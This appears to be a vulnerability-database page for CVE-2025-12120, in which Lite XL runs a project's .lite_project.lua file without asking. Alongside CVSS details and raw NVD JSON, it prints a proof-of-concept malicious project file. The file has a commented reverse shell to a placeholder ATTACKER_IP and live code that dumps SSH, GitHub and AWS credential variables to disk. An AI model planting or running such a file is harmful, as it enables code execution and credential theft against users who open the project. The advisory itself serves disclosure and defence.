Security Vulnerability Report
中文
CVE-2025-12120 CVSS 7.3 HIGH

CVE-2025-12120

Published: 2025-11-20 17:15:49
Last Modified: 2025-12-10 17:47:55

Description

Lite XL versions 2.1.8 and prior automatically execute the .lite_project.lua file when opening a project directory, without prompting the user for confirmation. The .lite_project.lua file is intended for project-specific configuration but can contain executable Lua logic. This behavior could allow execution of untrusted Lua code if a user opens a malicious project, potentially leading to arbitrary code execution with the privileges of the Lite XL process.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:lite-xl:lite_xl:*:*:*:*:*:*:*:* - VULNERABLE
Lite XL <= 2.1.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
-- Malicious .lite_project.lua for CVE-2025-12120 -- This PoC demonstrates arbitrary code execution in Lite XL <= 2.1.8 -- Place this file in a project directory and open it with Lite XL -- Example 1: Execute system command -- os.execute('whoami > /tmp/pwned.txt') -- Example 2: Reverse shell connection -- local socket = require('socket') -- local tcp = socket.tcp() -- tcp:connect('ATTACKER_IP', ATTACKER_PORT) -- local proc = io.popen('bash -i', 'r') -- while true do -- local cmd = tcp:receive('*l') -- if cmd then -- local f = io.popen(cmd, 'r') -- local output = f:read('*a') -- f:close() -- tcp:send(output) -- end -- end -- Example 3: Exfiltrate environment variables local home = os.getenv('HOME') or '/tmp' local f = io.open(home .. '/.env_leaked.txt', 'w') for _, k in ipairs({'SSH_AUTH_SOCK', 'GITHUB_TOKEN', 'AWS_ACCESS_KEY_ID'}) do f:write(k .. '=' .. (os.getenv(k) or 'nil') .. '\n') end f:close() -- Notification (optional, but helps identify successful execution) print('[+] CVE-2025-12120 PoC executed successfully')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12120", "sourceIdentifier": "[email protected]", "published": "2025-11-20T17:15:48.640", "lastModified": "2025-12-10T17:47:55.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lite XL versions 2.1.8 and prior automatically execute the .lite_project.lua file when opening a project directory, without prompting the user for confirmation. The .lite_project.lua file is intended for project-specific configuration but can contain executable Lua logic. This behavior could allow execution of untrusted Lua code if a user opens a malicious project, potentially leading to arbitrary code execution with the privileges of the Lite XL process."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lite-xl:lite_xl:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.1.8", "matchCriteriaId": "9F99F77B-6033-461A-95F8-0C1BEB732101"}]}]}], "references": [{"url": "https://github.com/lite-xl/lite-xl/pull/2164", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://kb.cert.org/vuls/id/579478", "source": "[email protected]", "tags": ["Exploit", "Patch", "Third Party Advisory"]}]}}